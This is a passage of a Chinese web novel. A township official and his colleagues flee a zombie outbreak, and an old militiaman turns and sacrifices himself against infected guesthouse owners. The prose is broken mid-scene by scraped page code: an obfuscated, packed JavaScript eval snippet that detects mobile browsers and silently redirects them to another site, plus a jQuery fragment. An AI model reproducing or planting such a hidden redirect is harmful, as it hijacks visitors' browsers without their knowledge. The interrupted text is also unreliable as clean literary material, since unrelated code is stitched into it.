他不懂同事们为什么不怕雷劈、山洪,为什么一定要往镇政府赶,但他也只能跟上。
这下雨打雷的黑夜,他也不知道去哪儿,更不知道该怎么办——往路边的人家户走不是好选择,他们还带着被咬伤随时可能感染的同事,害了别人家可不好。
算了,这么一想,也只能回去。
回镇政府,起码有一堆领导和同事,他们肯定能安排好一切。
一路胡思乱想着,又是一道令人胆战心惊的闪电后,陈云皓看到路边后面不远的一户民宿大招牌。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122961|195982||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
【山涧小院——民宿烧烤火锅机麻】
山涧小院?!
白天的时候,自己跟罗站长去调查过家禽惨死的民宿?!
满地被撕咬的鸡鸭尸体画面从陈云皓脑中浮现,他突然意识到什么。
“罗站长……”想起来罗站长嘴巴被塞住,陈云皓赶紧转向章副镇长,“章镇!这个民宿!白天我们来过!我怀疑,这里跟丧尸病毒爆发有联系!”
话刚说完,步履蹒跚的老李停下脚步,他喉咙里发出嗬嗬的低声,走路时一直半垂着的头抬起,扭向了那民宿。
罗站长也跟着望过去,他感觉自己的思维开始迟钝。
民宿,哦对,民宿……鸡鸭?撕咬……牙印?
章副镇长心中咯噔一下,询问道:“这家有几口人?”
陈云皓拼命回忆,“不,不清楚,我只看到了有一对夫妻老板,家里有两个孩子,但客厅的合照是看到有老人的。”
老杜反倒是比陈云皓清楚,“八口人,现在是暑假,民宿里时不时要来客人,这对夫妻的父母都来民宿帮忙,清洁打扫,洗衣做饭,他们后面的林子里还养着可以现点现杀的生态鸡鸭鹅,家里喂了一只大金毛——哦,鸡鸭鹅死完了,狗也失踪了。”
“多少客人?”章副镇长脚步没停,还在往前走,前面老李停下来不动,罗站长也跟着停下。
章副镇长边说边往前,还推了罗站长一把,“走,不停留。”
这个老杜就不清楚了,他手里牵着衣服布条搞出来的绳索,扯了扯老李,同时回答章副镇长的问话:
“这段时间一直汛期预警,来的客人我们都给劝走了,听说民宿里只留了一个不爱出门的外地女孩,讲普通话的,好像提前就定了房,说是喜欢这里的环境,要准备住一年,谁劝也不走。”
陈云皓很是汗颜,他跟着罗站长来了一趟,不知道自己该打听什么问什么,全程懵懂,傻乎乎的来,傻乎乎地走。
怪不得镇上老干部都用关爱智障的慈善眼神看他,这会儿被提问,陈云皓也觉得自己仿佛智障。
仿佛智障的陈云皓小跑两步,跟上章副镇长,然后,他发现李大爷不对劲。
李大爷眼珠子,怎么有点荧红色?
一个下意识的动作,陈云皓打开手机自带的手电筒,绕到李大爷正面,对着对方的眼睛照。
光线下,荧红色的眼珠猛地一颤,李大爷往前一蹿,高举双手,往陈云皓的方向扑去。
同一时间,老杜使劲拽住绳子。
但此刻,李大爷的力量无比大,他那一扑,竟是将老杜也扯了个趔趄,摔倒在地,手中松开了绳索。
陈云皓转身想跑,却发现不远处的民宿里,冲出来八个高低不同的人影,老人、大人还有……孩子。
他们已经嘶吼着冲了出来。
李大爷双手绑着,嘴里也绑着,他双目通红,却是从陈云皓身边冲了过去,径直扑向了那八个感染者。
一瞬间,陈云皓明白了李大爷临近变异的最后一刻的执念。
一股难以言喻的悲伤涌上心头。
“走!我们快走!”
陈云皓扯着还想冲上去的章副镇长,“走,再不走,李大爷没有理智了……”
我们下不了手杀人的……对面九个感染者,我们三带一伤,随时还可能变成是十对三……我们……
章副镇长被陈云皓一扯,理智恢复,当机立断地开跑,“跑!”
李大爷扑上去撞倒了跑在最前面的民宿男老板,踩着对方的脖子仰天长啸,力气竟陡然间大到了踩断对方的脖子。
纵然肢体僵硬,但印刻在骨子里的训练还是发挥了作用,他再次撞到了女老板,故技重施,踩断脖子。
四名老人扑咬上来,他已经感受不到被撕咬的疼痛。
脸颊被咬,嘴上的绳索断裂,他猛地挣脱受伤的绳索,抱着对面模糊的物体开始啃咬。
他的意识已经完全模糊,隐约间好似看到年轻时候的,淳朴的年代,充满希望,他穿着民兵的衣服扛着枪,打靶那叫一个准,谁见了不喊一声李二哥真是个好同志,厉害得紧呢!
人间来一趟,可以大部分时候平淡无奇,也可以在最后关头轰轰烈烈。
嘿,所以,要死,也要当烈士,要挡住前面的东西,让战友们可以撤退!
那是他最后的意识。